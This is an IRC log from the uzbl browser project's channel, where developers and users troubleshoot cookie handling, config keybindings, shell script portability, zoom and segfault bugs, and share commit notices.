05:41 < gentooer> thanks, just saw that one. not sure if it's much more stable than uzbl but i'll give it a try
05:47 < gentooer> just found out that epiphany switch to webkit-gtk in 2.27. that should be pretty stable :)
05:53 < Elly> w 15
05:54 < Elly> oops
05:54 < scp1> If I want i.e all hyperlinks on somesite.org to be black instead of the default pink, how do I do? Is there something equivalent to UserContent.css in Fx?
05:54 < Morasique> if hyperlinks are pink by default i've missed something
05:55 < scp1> ok, their 'default' then :P
05:57 < Morasique> it looks like uzbl has a var called stylesheet_uri you can use
05:57 < scp1> oh, where did you find that info?
05:58 < scp1> uzbl.c? :P
05:58 < Morasique> yeah, webkitwebsettings has a user-stylesheet-uri property, so i searched for that in uzbl.c
05:59 < scp1> ah, I see
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06:03 < marianoguerra> hi
06:03 < marianoguerra> first of all, thanks for uzbl! it's what I was looking for
06:03 < marianoguerra> second, how can I scroll on an iframe that is inside a page?
06:03 < marianoguerra> for exmaple, google reader
06:04 < Morasique> marianoguerra: there should be an inner scrollbar on the frame, or you can use your mouse's scrollwheel while over the frame
06:05 < marianoguerra> Morasique: I know, what I mean is that if I press the j key to scroll down, then uzbl wont scroll, because the main page has no scroll
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06:06 < Morasique> oh, i see. i don't think you can use bindings for that; the scroll_vert function sets the whole page's scroll amount
06:07 < marianoguerra> Morasique: ok, thanks
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06:39 < Tel_Janin> w
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07:12 < ds187> good morning everyone
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07:55 < Deepspawn> Just recompiled uzbl with latest git, and using cookies.py.  Working now for a lot of the sites where I need. XD
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09:11 < Dieterbe> morning dudes and ladies
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09:58 < Negher> Morning, Dieterbe.
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09:59 < ds187> moin Dieterbe and Negher
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10:29 < holizz> "There was a problem with your session token. Try again, please.
10:30 < Dieterbe> heya holizz 
10:30 < holizz> Yo.
10:30 < holizz> That's posting to identi.ca. And Twitter gives me 403 errors logging in (but that's not uzbl's fault).
10:31 < Dieterbe> i was thinking, maybe the fact that we basically just intercept every single request and call our cookie handler on that, may have something to do with it
10:31 < holizz> What do you mean?
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10:31 < Dieterbe> if we would have our own soup cookie feature or however it's called, that uses the handler script, maybe libsoup will call the cookie feature differently, not for every single request for example
10:32 < holizz> Yes, indeed.
10:32 < Dieterbe> we can actually easily test this
10:33 < holizz> It's odd though. The libsoup CookieHandler 'class' only seems to have hooks for when a cookie is changed - I'm not sure I see a sensible way of telling it about cookies which exist.
10:35 < Dieterbe> do we need that? The libsoup CookieHandler 'class' just implements a "SessionFeature" right? so we could make a similar class that implements the SessionFeature and have hooks for more things
10:36 < holizz> Now there's a good point.
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12:35 < holizz> You were right, Dieterbe, making a SoupFeature is working much better. Take a look at my morecookies branch, but it's a work-in-progress as I'm off to work in a minute.
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12:47 < Dieterbe> allright holizz 
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15:33 < uranther> sup
15:33 < Dieterbe> soup
15:33 < ds187> soup?
15:34 < uranther> hey Dieterbe solid commits :>
15:34 < ds187> here at work we get every wednesday soup :-)
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15:34 < Dieterbe> now i'm hungry again :/
15:35 < Dieterbe> soup and cookies hmmm
15:35  * uranther coffee for breakfast mm
15:35 < ds187> Dieterbe: then you should eat something
15:35 < Dieterbe> just had lunch :P
15:35  * ds187 had a baguette with thuna for lunch :-)
15:35 < jrick> it looks like all the example scripts use "#!/bin/bash" at the top (at least in the master branch).  Can this be changed to "#!/usr/bin/env bash" instead?
15:36 < Zaba_> jrick, in some cases it can be changed to #!/bin/sh
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15:37 < Phillemann> jrick: What's the difference?
15:37 < jrick> Phillemann: I don't have a /bin/bash ;)
15:37  * jrick <-- freebsd user
15:37 < uranther> zsh?
15:37 < Zaba_> uhm
15:37 < jrick> bash is /usr/local/bin/bash on freebsd
15:37 < Zaba_> jrick, just change it to #!/bin/sh and see if it doesn't break
15:38 < jrick> ok
15:38 < Zaba_> jrick, if it does break, change to /usr/bin/env bash or something
15:38 < uranther> does anyone use shells like csh or ksh?
15:38 < Zaba_> uranther, yeah
15:38 < uranther> word
15:39 < uranther> is their syntax compatible with bash?
15:39 < uranther> not csh, right
15:39 < Zaba_> csh is not bourne compatible, no
15:39 < Zaba_> ksh is extension of bourne sh
15:39 < jrick> download.sh breaks with /bin/sh
15:39 < uranther> oh ok
15:39 < Zaba_> bash is a further extension of the same, partially resembling ksd
15:39 < Zaba_> ksh*
15:39 < jrick> ./download.sh: 8: Syntax error: "(" unexpected (expecting "then")
15:39 < Zaba_> jrick, it does, but you can reduce it to just #!/bin/sh\nfetch $8 or something
15:40 < Zaba_> jrick, cause it does some awful magic for torrent files and I'm not sure you need that.
15:40 < jrick> yeah
15:40 < jrick> I'm thinking of using curl anyways
15:41 < Zaba_> they're different
15:41 < Zaba_> and fetch is in base :P
15:41 < jrick> true
15:41 < Zaba_> actually uzbl's example scripts are a bit messy in some places
15:41 < Dieterbe> jrick: i guess we could use /usr/bin/env yeah, is that path the same on bsd, linux etc?
15:41 < jrick> yep, at least here it is
15:41 < Zaba_> take session.sh, it uses bash shebang but uses [ ] for comparison, etc.
15:42 < Zaba_> if [ "$urls." = "." ] <-- why the dot there?
15:42 < Dieterbe> jrick: you know what, why don't you propose using /usr/bin/env on the mailing list, then many people can cast their opinion
15:42 < jrick> Dieterbe: ok, I'll send a message
15:42 < Dieterbe> Zaba_: i guess he doesn't know [ -z foo ]
15:43 < Zaba_> Dieterbe, I propose changing shebang to /bin/sh where bash features are not used or are easily avoidable.
15:43 < Dieterbe> Zaba_: yeah, that's definitely something on the todo
15:43 < Dieterbe> jrick: is it /bin/sh on BSD ?
15:43 < Zaba_> of course
15:43 < jrick> yep
15:43 < Zaba_> if you have a system without /bin/sh you shouldn't bother break stuff to work with it
15:44 < Dieterbe> :P
15:44 < Zaba_> Dieterbe, history.sh will work fine with /bin/sh
15:44 < Dieterbe> Zaba_: i'm at work right now. feel free to fix
15:44 < Zaba_> Dieterbe, not sure about session.sh but it looks bash-free.
15:45 < Zaba_> Dieterbe, I'm going to go away for a few hours too soon to fix it :P
15:46 < Zaba_> if download.sh was freed from the [[ .. =~ .. ]] stuff, it would work fine with /bin/sh indeed.
15:46 < Zaba_> now brb
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15:46 < jrick> bash has [[ ]]?
15:47 < jrick> I thought only zsh had that
15:47 < Dieterbe> yeah bash has it too
15:55 < jrick> http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-June/000069.html
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16:04 < uranther> so have a lot of people confirmed uzbl crashing at max zoom? i couldn't get it to crash the other day
16:05 < Viaken> I have it crash whenever I click the search box in Facebook, but considering I installed it yesterday, I may be doing something wrong. (I mean, besides using Facebook... :P)
16:06 < uranther> i'll take a look at it
16:06 < Dieterbe> thanks jrick. replied 
16:06 < jrick> ok
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16:19 < Dieterbe> do you guys also put something like `bind    s _       = set %s` in your config?
16:19 < Dieterbe> or am i missing something
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16:32 < KlavKalashj> Hm... I might be doing something wrong... but I have a feeling uzbl is a little bit slower than some days ago? Anyone experiencing that?
16:33 < Dieterbe> run it with --verbose
16:33 < Dieterbe> probably lot's of unneeded invocations of the cookie handler
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16:35 < KlavKalashj> yeah, I'm getting loads of cookie output
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16:36 < Dieterbe> we call the cookies.py too many times. holizz started working on a fix, maybe this evening he or i can finish it
16:36 < Dieterbe> or you, if you want
16:37 < uranther> Viaken, search in Facebook works fine for me with newest experimental tree from Dieterbe
16:37 < Dieterbe> or whoever wants to do it :P
16:37 < KlavKalashj> I don't know anything about programming, unfortunately
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16:37 < KlavKalashj> Dieterbe: if there is anything I can do to help the project, pls tell me :)
16:37 < Viaken> uranther: I'm using git, so brokenness wasn't a big surprise.
16:37 < KlavKalashj> But I know nothing of C :S
16:37 < uranther> Viaken, me too :>
16:38  * Viaken shrugs. "I pulled it this morning. I'll poke around more and see what I can figure out."
16:38 < Dieterbe> KlavKalashj: well, look in the TODO file, there are plenty of things that still need to be documented
16:39 < uranther> Dieterbe, does uzbl still crash at max zoom?
16:40 < uranther> when i tried it, i couldn't even reach max zoom? :P
16:40 < Dieterbe> uranther: i have no idea
16:40 < Dieterbe> i almost never zoom :P
16:40 < uranther> i use it all the time
16:40 < uranther> i dont like sitting a foot away from my screen to read 9pt text :P
16:42 < Dieterbe> :)
16:43 < uranther> i like the full_content_zoom commit someone made
16:43 < uranther> was goign to do that, but didn't get around to it
16:43 < Dieterbe> i still have to review that patch
16:43 < uranther> oh ok
16:44 < uranther> what do you think about some kind of additions for the webkit get_...() functions?
16:44 < uranther> such as get_zoom_level and whatnot
16:44 < uranther> i'm not sure how to approach that
16:44 < Dieterbe> why do we need that? can't you just : echo 'print zoom_level' > $fifo
16:45 < uranther> oo
16:45 < uranther> it seems like ther were more specific functions than that
16:45 < uranther> lemme see
16:46 < Dieterbe> you can print any uzbl variable, you don't need special functions
16:46 < Dieterbe> just try it :)
16:47 < uranther> ok fair enough lol
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16:48 < Dieterbe> hmm for zoom_level it doesn't work it seems
16:48 < KlavKalashj> Dieterbe: well, I guess the only things I can provide is eventual translation, testing and perhaps help new users with config :S
16:48 < Dieterbe> i can do 'print @status_top' 
16:48 < Frots> hello everyone
16:48 < Dieterbe> but not  'print @zoom_level'
16:48 < Dieterbe> uranther: probably we g_free(zoom_level) after calling the webkit function. we should probably leave the variable set
16:49 < uranther> oo good bug find
16:50 < uranther> Dieterbe, eh so things like echo print useragent > fifo should work right?
16:51 < Dieterbe> uranther: @useragent
16:51 < uranther> same
16:55 < uranther> fuck shit.. facebook got my uzbl CPU usage to 85% and Xorg to 15%
16:58 < uranther> Dieterbe, ok yeah the @useragent and whatnot work
17:06 < Dieterbe> see, we just need better documentation ;)
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17:10 < uranther> Dieterbe, couple of issues i'm having with the latest from your branch.. make install is not updated to reflect directory changes, and i'm not "getting" XDG_DATA_HOME"
17:10 < uranther> is this env var supposed to be set by the WM?
17:11 < Dieterbe> no, i think xdg comes with tools to set the vars
17:12 < Dieterbe> what's wrong with make install?
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17:13 < uranther> the paths to install are old
17:13 < uranther> what is xdg?
17:15 < Dieterbe> freedesktop.org spec
17:15 < Dieterbe> "they are old" and "not updated" contain -zero- valuable information
17:18 < Zaba_> jrick, [[ ]] is from ksh
17:18 < Zaba_> jrick, bash and zsh both have a lot of stuff from that
17:18 < Zaba_> jrick, but zsh also has a lot from csh, and bash 4 has a few things that were specific to zsh in past versions
17:21 < uranther> sorry.. in the sample config,  paths are to $XDG_DATA_HOME/uzbl/scripts instead of $XDG_DATA_HOME/uzbl/examples/data/uzbl/scripts/
17:21 < uranther>  /uzbl/scripts makes sense, but that's not how the makefile installs it
17:23 < Dieterbe> the makefile does not install anything in your $XDG_DATA_HOME
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17:23 < Dieterbe> it's up to the user to cp -ax /usr/share/uzbl/examples/data to $XDG_DATA_HOME
17:23 < uranther> 'it installs in /usr/share, for me
17:24 < uranther> i see
17:24 < uranther> i dunno, i guess it seems like a confounded default setup to me
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17:27 < Dieterbe> well it's simpler then before now :P
17:27 < MarSoft_> Dieterbe: no, I am just talking about warnings/errors in console if variable is unset.
17:33 < Dieterbe> MarSoft_: what are you referring to?
17:34 < MarSoft_> [17:55:17]<MarSoft_> latest version of uzbl says in console:
17:34 < MarSoft_> Traceback (most recent call last):
17:34 < MarSoft_>   File "/usr/share/uzbl/examples/scripts/cookies.py", line 65, in <module>
17:34 < MarSoft_>     os.environ['XDG_DATA_HOME']+'/uzbl',
17:34 < MarSoft_>   File "/usr/lib/python2.6/UserDict.py", line 22, in __getitem__
17:34 < MarSoft_>     raise KeyError(key)
17:34 < MarSoft_> KeyError: 'XDG_DATA_HOME'
17:34 < MarSoft_> It caused by unset variable XDG_DATA_HOME. Altough, according to specification (http://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html), it must default to "$HOME/.local/share" if unset...
17:34 < uranther> echo set zoom_level = 1000000000 > /tmp/uzbl_fifo_33554472 is solid
17:34 < uranther> no crashes
17:43 < Dieterbe> MarSoft_: aha good point. that's a bug in cookies.py then (and i guess we have the same bug in some other scripts too)
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17:58 < uranther> Dieterbe, found why print @zoom_level doesn't work. it's around line 220. there's no TYPE_FLOAT here
17:58 < uranther> my fault.. shouldn't we be using sprintf/snprintf here instead of itos()?
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18:04 < Dieterbe> uranther: i'm driving home. i'll check this later
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18:04 < uranther> i'll write up a fix later today
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18:16 < jrick> Zaba_: ah, ok
18:16 < jrick> I don't know my shell history as well as I probably should
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19:02 < Dieterbe> re
19:03 < sscj> Dieterbe: have you had time to look at what's wrong with formfiller.pl?
19:03 < Dieterbe> sscj: not yet
19:04 < sscj> my initial guess is that it's because both formfiller scripts use the same naming convention, but the files are incompatible
19:04 < Dieterbe> well i tried the script separately, i cleaned up my files etc
19:04 < Dieterbe> even a forced "new" file creation did not show me my editor
19:05 < sscj> hmm
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20:19 < ankan> Hello. I am trying to use gmail in uzbl and I get an "Oops... the system encountered a problem (#6411) - Retrying in ". There is an old webkit bug that seem to apply here, but I would like to know if anyone can use the standard interface for gmail in uzbl?
20:22 < sscj> I get the same error if I click on settings, but I can browse labels and mails. but not with keyboard navigation
20:23 < ankan> I get it on the initial screen.
20:23 < ankan> Before I do anything.
20:25 < sscj> that was without using a cookie handler. with cookies.py, I get back to the login prompt as soon as I click the sign in button
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20:28 < Zaba_> hm
20:28 < Zaba_> I wonder what's the easiest way to alter the headers uzbl sends
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20:32 < bct> what do you want to change Zaba_ ?
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20:42 < Zaba_> bct, Host
20:46 < Dieterbe> hmm... a header_modifier_handler script would be cool
20:48 < Zaba_> possibly
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21:11 < scp1> Anyone working on a perl cookie handler?
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21:16 < github> uzbl: Dieter Plaetinck experimental SHA1-67b0fc2
21:16 < github> new way to try out the sample stuff. makes it even easier for new users
21:16 < github> http://bit.ly/K4fNh
21:16 < github> uzbl: Dieter Plaetinck experimental SHA1-63c75cb
21:16 < github> be more friendly to people who have no XDG variables set + bitter checking and such
21:16 < github> http://bit.ly/TDAfo
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21:18 < Morasique> "even easier for new users"? "be more friendly to people"? what's with this user-friendly nonsense :)
21:24 < Dieterbe> :P
21:24 < Dieterbe> it's just marketing gibberish
21:24 < Dieterbe> for in case there were any news reporters spying in this channel
21:33 < Deepspawn> For a user like me, uzbl is as user friendly as it can be.
21:33 < Dieterbe> oooh how nicely said
21:33 < Dieterbe> and it even rhymes
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21:55 < uranther> Dieterbe, fixed that zoom_level thing not printing
21:56 < Dieterbe> yeay
21:57 < uranther> and you free'd uzbl.gui.icon when you didn't need to :)
21:57 < uranther> easy fi
21:57 < uranther> x
21:58 < uranther> i put a TODO in there, i think this void **ptr; in uzbl_cmdprop should be a union to make it a little easier to read/work with
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22:08 < github> uzbl: root experimental SHA1-871c102
22:08 < github> Added support for full content zoom (AKA full page zoom)
22:08 < github> http://bit.ly/gmwhr
22:08 < github> uzbl: Dieter Plaetinck experimental SHA1-fec21d7
22:08 < github> israellevins zoom_type toggling
22:08 < github> http://bit.ly/gBrti
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22:09 < Dieterbe> DuClare: where is your config again?
22:12 < DuClare> http://guu.fi/uzbl.conf
22:14 < jhawthorn> full content zoom? awesome!
22:14 < jhawthorn> i was missing that
22:14 < Dieterbe> how do you set misc parameters? i have: bind s _ = set %s, or do you have a better way DuClare ?
22:15 < DuClare> Not sure what you mean by "misc parameters", but I'm not aware of a better way to write the above
22:16 < Dieterbe> well, suppose i want to move the position of the statusbar while uzbl is running
22:16 < Dieterbe> you can't just type 'set status_top = 1' because it doesn't recognize that command
22:17 < Dieterbe> so i have `bind s _ = set %s` as a workaround for that. that way i can change anything
22:19 < Dieterbe> DuClare: btw why do we still have a 'uri' command? we don't need it anymore because we can do 'set uri = foo' afaik
22:20 < DuClare> Been busy
22:21 < DuClare> Dieterbe, bind :$_ = chain '%s'
22:21 < DuClare> :$set status_top = 1
22:22 < Dieterbe> i would even make this : bind :_ = chain '%s'
22:22 < Dieterbe> saves you 1 character :)
22:22 < DuClare> Sure
22:22 < DuClare> I just copied what I had in my cfg
22:22 < DuClare> I'm using : for other stuff :)
22:23 < Dieterbe> yeha
22:23 < scp1> nice :)
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22:27 < Dieterbe> i want to combine the best tricks from several config files into the sample config
22:27 < scp1> Is there some way to make the statusbar two rows instead of one?
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22:28 < Dieterbe> nope
22:31 < DuClare> Of course there is
22:32 < DuClare> set status_format = <span>line1&#10;line2</span>
22:32 < sscj> "bind :twice _ = chain '%s' '%s'" causes segfault
22:32 < sscj> when you run it
22:33 < Dieterbe> heh, DuClare nice one
22:34 < scp1> DuClare: thanks :)
22:43 < Dieterbe> DuClare: how does this work?
22:43 < Dieterbe> bind 'p         = sh 'exec $UZBL/launch new $(xclip -o) $@'
22:43 < Dieterbe> where is $UZBL set? what's $UZBL/launch ?
22:43 < Dieterbe> can i make a more generic example from this?
22:44 < DuClare> $UZBL is set in $UZBL/launch, and it launches a new instance using the uri from clipboard.
22:45 < uranther> i didn't realize these commands are so extensible..
22:46 < Dieterbe> DuClare: i don't understand how sh can know the value of $UZBL
22:46 < DuClare> Dieterbe, Why wouldn't sh know its environment?
22:46 < DuClare> Dieterbe, In our case, external commands inherit the parent's env
22:46 < Dieterbe> aah of course
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22:52 < github> uzbl: Dieter Plaetinck experimental SHA1-d3cb6e5
22:52 < github> fix quotes regression
22:52 < github> http://bit.ly/3X0GHc
22:52 < github> uzbl: Dieter Plaetinck experimental SHA1-087bca4
22:52 < github> slightly better example config with a few new cool examples
22:52 < github> http://bit.ly/qRmfD
22:52 < github> uzbl: Dieter Plaetinck experimental SHA1-0b05200
22:52 < github> keybind to start a new uzbl instance from the page in primary selection
22:52 < github> http://bit.ly/Xjxlq
22:52 < github> uzbl: Dieter Plaetinck experimental SHA1-ddcec48
22:52 < github> indentation fix
22:52 < github> http://bit.ly/P11VB
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22:52 < Dieterbe> okay. enough for today. bedtime for me
22:53 < scp1> Sorry for bothering, is there some way to make that second row another color then the first one?
22:53 < Dieterbe> yes. look at the sample config file
22:53 < Dieterbe> pango markup format
22:53 < scp1> hm...
22:53 < sscj> enbale_private :v
22:54 < sscj> there's quite a few enbale's in the default config
22:54 < sscj> actually. just one. but there's a disbale
23:01 < scp1> uzbl[14196]: segfault at 8152000 ip b6dbac28 sp bfffefd0 error 4 in libglib-2.0.so.0.2000.1[b6d7d000+b4000]
23:01 < scp1> when pressing '#' in the statusbar
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01:22 < thedward> Howdy. I'm trying out uzbl, but I can't type into forms. I try hitting 'i' but it just prepends it to the window title. any ideas?
01:26 < Morasique> thedward: did you already have stuff typed in the status bar?
01:26 < Morasique> try hitting escape to clear it, then I to go into insert mode
01:26 < Morasique> the [C] at the bottom-left should turn into [I]
01:27 < thedward> I don't appear to have a status bar, but the first letter of the window title is C...
01:27 < thedward> I've tried hitting escape.
01:27 < scp1> thedward: press t
01:27 < Morasique> ah, yes. i was just trying to remember the toggle key
01:28 < thedward> that just prepends t to the status bar: "t C google.com"
01:28 < thedward> err title I mean
01:29 < Morasique> this is the title bar at the top of the screen? it sounds an awful lot like you're describing the status bar
01:29 < Morasique> the status bar is gray along the bottom of the window
01:29 < thedward> I'm an idiot.
01:30 < thedward> nope, it was the title; I don't have titlebars, but I have titles at the bottom of my screen.
01:30 < thedward> my problem was I was loading an empty config instead of provided sample config
01:30 < Morasique> ah
01:30 < Morasique> oh yeah, everything does appear in the titlebar then
01:30 < Morasique> interesting
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01:41 < thedward> wow. hints are a lot faster than vimperator
01:47 < Morasique> really? i think they use the same technique, but i'm not sure
01:47 < Morasique> they both seem pretty instantaneous to me
01:48 < thedward> for pages with few links vimperator is instantaneous, but on pages with lots of links there is noticeable lag
01:50 < thedward> I don't know that I could give up all my firefox extensions, but this is pretty neat
01:52 < sscj> thedward: which hinting script are you using?
01:53 < KlavKalashj> hm
01:53 < KlavKalashj> sometimes the hints are buggy for me
01:53 < KlavKalashj> if I press f, I get loads of links, say 40
01:54 < KlavKalashj> when I want to go to 20, it goes 'f2' and loads some random page
01:54 < KlavKalashj> :S
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01:55 < sscj> try linkfollow.js
01:55 < KlavKalashj> seems to only be on 2[x] links
01:58 < KlavKalashj> linkfollow.js has unreadable numbers O.o
01:59 < sscj> on some sites, yeah
02:00 < KlavKalashj> wtf
02:01 < KlavKalashj> after changing, and then changing back, it works O.o
02:01 < sscj> seems like it's possible to override stylesheet_uri somehow
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03:14 < bobpaul> I see a lot of the git logs are "merging with Dieterbe/experimental" ... is there a reason to use 'git merge' instead of 'git rebase' that I'm not aware of? rebase seems to avoid placing that stuff in the logs.
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09:15 < Dieterbe> morning bitchiizzz
09:17 < Dieterbe> bobpaul: yeah we should look into using rebase probably :P
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09:45 < ds187> bitchiizz: no such nick or channel
09:46 < Morasique> ...yet
09:46 < ds187> bitchiizz sounds more like quakenet :-)
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09:51 < Morasique> i'm going to get up tomorrow to find Dieterbe has renamed uzbl "bitchiizzz"
09:51 < Dieterbe> :)
09:54 < ds187> hehe
09:54 < ds187> and the channel moved over to quakenet
09:55 < ds187> and Dieterbe renamed himself to D13t3rb3
09:56 < Dieterbe> hey holizz btw. i didn't have time yesterday to look at your new cookie stuff
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10:20 < holizz> No problem. It doesn't work yet.
10:22 < holizz> I fixed one memory corruption problem, and now I'm trying to fix another. Cookie GETing will work as soon as I fix this memory corruption problem.
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10:38 < holizz> And another segfault.
10:48 < holizz> And now... different memory gets corrupted on each execution. This is gonna be tricky.
10:50 < Dieterbe> :P
10:50 < Dieterbe> gdb is your friend ;)
10:50 < Zaba_> valgrind
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10:56 < holizz> I should learn to use those tools at some point. But I just fixed it with some good old-fashioned code-re-reading.
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11:20 < Dieterbe> :) that works too
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11:50 < holizz> Has anybody noticed their cookies.txt being overwritten using cookies.py?
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12:48 < Dieterbe> oooh http://icanhascheezburger.com/2009/06/02/funny-pictures-video-guitar-kitteh/
12:48 < Dieterbe> how cute
12:50 < ds187> süüüüüüüüüüüüüüß :-)
12:50 < Dieterbe> what?
12:50 < ds187> sweeeeeeeeet :-)
12:51 < Dieterbe> yeah :)
12:51 < ds187> sometimes i have this inner urge to use german umlauts :-)
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13:08 < Frots> hello everyone
13:09 < Dieterbe> hey
13:11 < Frots> hey Dieterbe
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13:48 < holizz> Interesting. WebKit doesn't produce a title-changed signal when the title changes to "".
13:52 < Dieterbe> heh.  seems like a bug to me
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14:10  * holizz waits minutes for each svn command to do something.
14:15 < Dieterbe> svn?
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14:16 < holizz> Yeah, I'm looking through WebKit's revision history.
14:16 < holizz> Something on their bugzilla suggests title-changed might be depricated.
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14:17 < Dieterbe> oh o_O why do you need that signal btw?
14:18 < holizz> g_signal_connect (G_OBJECT (g->web_view), "title-changed", G_CALLBACK (title_change_cb), g->web_view);
14:18 < holizz> From uzbl.c.
14:19 < Dieterbe> yeah but i'm just wondering why you need it. i mean, i don't care if it doesn't fire when the title is set to '' :P
14:19 < holizz> I do.
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14:48 < sscj> it's more a matter of inconsistent behavior
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14:58 < Dieterbe> @peak
14:58 < dev_null> Dieterbe: bjesus set a record of 82 people in #uzbl on June 07, 2009 at 06:00 PM CET. You'll need 4 more people to break the peak.
14:59 < holizz> RE Flyspray does uzbl even run on Windows and OS X?
15:00 < Dieterbe> no idea
15:00 < Dieterbe> win probably not
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15:08 < holizz> I'm still confused that WebKit is C++ while uzbl is C. I didn't think it worked that way round.
15:12 < uranther> WebKit-gtk is in C though
15:12 < holizz> Ah.
15:12 < uranther> although i'm not sure how they do it ;)
15:12 < uranther> i'm sure webkit describes its own data structures so things like C++ strings aren't being passed around
15:13 < uranther> making it possible to interface with easily
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16:11 < sscj> huh. just got "uzbl: error while loading shared libraries: libicui18n.so.40: cannot open shared object file: No such file or directory"
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16:46 < uranther> sscj, must be a webkitgtk issue.. I don't think uzbl links to that library directly
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16:48 < sscj> yeah, just noticed that icu updated with my latest pacman sync
16:57 < Masca> sscj: so it's a bad idea to -Syu now?
16:59 < Dieterbe> maybe you just have to recompile uzbl
17:01 < sscj> i have to recompile webkit
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17:16 < Masca> sscj: you compile it from source or you get libwebkit from pacman?
17:17 < pwlz> Hello
17:17 < uranther> sup
17:17 < pwlz> Why uzbl is unable to open https://www.mbank.com.pl/ ?
17:17 < pwlz> It sais: Connection terminated unexpectedly
17:18 < pwlz> it works with other browsers.
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17:22 < Dieterbe> probably invalid certificate
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17:22 < mxey> AFAIK uzbl does not care about certificates so far.
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17:23 < Dieterbe> if the cert is invalid, it will just not load without any warning/error message
17:28 < uranther> is that dealt through libsoup?
17:29 < Dieterbe> maybe, i'm not sure
17:30 < Dieterbe> probably webkit has hooks and whatever for this
17:30 < uranther> can't find any API calls for webkitgtk about ssl or certificates
17:30 < pwlz> firefox sais that cert is ok
17:31 < uranther> http://mso-chronicles.blogspot.com/2009/02/webkit-gtk-libsoup-or-curl_04.html
17:32 < uranther> http://live.gnome.org/LibSoup/ToDo#head-7475344fa8a125ca1e76ca858494430cde866fbc
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17:37 < locks> @peak
17:37 < dev_null> locks: bjesus set a record of 82 people in #uzbl on June 07, 2009 at 06:00 PM CET. You'll need 1 more person to break the peak.
17:38 < Dieterbe> locks: you wish :P
17:38 < locks> gah :(
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17:50 < holizz> pwlz: Using wget on that Web site gives me a 404 error
17:50 < holizz> Even if I set the User-Agent string to the same as Firefox.
17:51 < holizz> Lynx also gives a 404 after multiple redirects. So I figure either they're stupid and have broken something by accident or are stupid and have broken something on purpose.
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17:52 < gentooer> links can open the site fine here
17:52 < pwlz> holizz: strange... it works for me with wget/firefox/any other browser.
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19:15 < Dieterbe> evening bitch.. i mean gentlemen
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21:23 < holizz> Why yes I have just made a tabbed browser based on uzbl and about 10 lines of Python.
21:28 < Dieterbe> nice :)
21:28 < Dieterbe> in theory
21:28 < Dieterbe> ;)
21:29 < Phillemann> holizz: How does it work?
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21:30 < holizz> Using GtkSockets and GtkPlugs.
21:31 < holizz> Step one: grab my experimental branch, make it.
21:31 < holizz> Step two: http://gist.github.com/126740
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21:32 < holizz> Also, put my uzbl in your path, then run this.
21:36 < holizz> Thank you for your interest in Opera. We have gone through your CV and it
21:36 < holizz> seems very interesting. We would like to take you one step further in the
21:36 < holizz> process and we hope you will answer these questions for us.
21:36 < holizz> Yay.
21:44 < Dieterbe> lol :)
21:44 < Dieterbe> you applied for a job @ opera?
21:50 < holizz> Yep. Two, in fact. This one was mobile/embedded QA.
21:59 < Dieterbe> cool
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22:03 < holizz> Awesome, I know. I mean, how many companies will pay you to develop a Web browser?
22:04 < Dieterbe> 4
22:04 < holizz> Precicely!
22:06 < Dieterbe> cool i'm trying it
22:07 < Dieterbe> i'm merging this in
22:07 < holizz> Oh, the tab thing?
22:07 < Dieterbe> yeah
22:08 < scp1> holizz: how long have you been hacking? I want a fun job myself :<
22:09 < holizz> Yay. I imagine there's a way to get the title of the instance, and also get/set the URI. I'd quite like to try my hand at making a UI that looks like it could be any other browser. That would be amusing.
22:09 < Dieterbe> yeah
22:10 < Dieterbe> i'm sure there's a lot to improve but it it's a good start and it seems to not cause regressions (for not-socketted functionality) so i'm merging it in
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22:12 < github> uzbl: Tom Adams experimental SHA1-7eb57b5
22:12 < github> cookies_file is now definately a directory and called cookies.d.
22:12 < github> http://bit.ly/19D7FS
22:12 < github> uzbl: Tom Adams experimental SHA1-94b6dff
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22:14 < holizz> scp1: I don't really know. I took an evening class in C when I was 13 (wow, 10 years ago). But I didn't really do a whole lot of programming until 7 years ago when I installed Linux.
22:14 < holizz> I attribute any skill in programming I may or may not have to reading/writing Free Software rather than my degree and a half.
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22:18 < Dieterbe> urnthr: just a fyi, i need more time to carefully study your http://github.com/uranther/uzbl/commit/478192797be8a8789c1c7c3eeaa62283a7497985
22:19 < Dieterbe> urnthr: you're changing stuff written by DuClare / rob| , stuff that i'm not 100 % familiar with ( DuClare / rob|_ maybe you guys can have a look at the above commit)
22:19 < Dieterbe> anyway i'm off to bed. see you guys later
22:20 < holizz> Night night!
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00:55 < holizz> Can't apply for a passport in the UK with uzbl... Bug related to javascript: pseudo-URIs.
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02:33 < gentooer> is there anyway to bind a key to page up/down?
02:35 < sscj> gentooer: bind X = scroll_vert 95%
02:35 < gentooer> ah perfect thanks!
02:36 < Morasique> oh wow, i never realized it took a percentage. i just measured how many times i needed to hit j to scroll a page and bound 20 times that to a key, ignoring the fact that it only worked on my one monitor's resolution :)
02:43 < gentooer> does phoronix.com seg fault for anyone else?
02:47 < sscj> nope
02:47 < gentooer> ok guess it's just my webkit
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06:07 < NAIVEMONARCH> hey people
06:07 < scp1> \o
06:08 < NAIVEMONARCH> I'm having a little trouble, as to how I can get the position and dimensions of an X client
06:08 < NAIVEMONARCH> So I can spawn dmenu in the right place and the right size for uzbl
06:09 < scp1> NAIVEMONARCH: xprop?
06:09 < NAIVEMONARCH> scp1: xwininfo gives me that information, but you have to feed it a window name or a window ID
06:10 < scp1> Have you tried xprop?
06:10 < NAIVEMONARCH> and I don't know how to get the uzbl window ID without user information
06:10 < scp1>        xprop - property displayer for X
06:10 < NAIVEMONARCH> I've tried xprop, it doesn't do what I need
06:10 < scp1> allright
06:10 < Morasique> every tool is going to require the window id; how else can it tell what window you're talking about?
06:11 < scp1> Morasique: you never sleep dude? ;)
06:11 < NAIVEMONARCH> Morasique: I know this, what I really meant was how can I get the ID without user interaction?
06:11 < NAIVEMONARCH> Sorry for not being clear enough
06:11 < scp1> NAIVEMONARCH: pgrep?
06:12 < Morasique> i don't think pgrep would have anything to do with the X id
06:12 < scp1> Ugh
06:12 < NAIVEMONARCH> that gives me the process ID
06:12 < Morasique> i can't think of a tool to do it, you might have to write one. it's fairly simple though
06:13 < NAIVEMONARCH> Not with my severely limited coding knowlege
06:13 < NAIVEMONARCH> basically I want to get an X window ID from a process ID now
06:13 < Morasique> give me a few minutes
06:14 < NAIVEMONARCH> cheers
06:15 < Morasique> er. wait, doesn't uzbl provide the window id?
06:16 < Morasique> i don't know how i managed to forget that till just now
06:16 < NAIVEMONARCH> does it?
06:16 < Morasique> it gives you both, the pid and the wid
06:16 < NAIVEMONARCH> that would be a huge help :3
06:16 < NAIVEMONARCH> how might one access those two
06:16 < Morasique> you're spawning a script i assume?
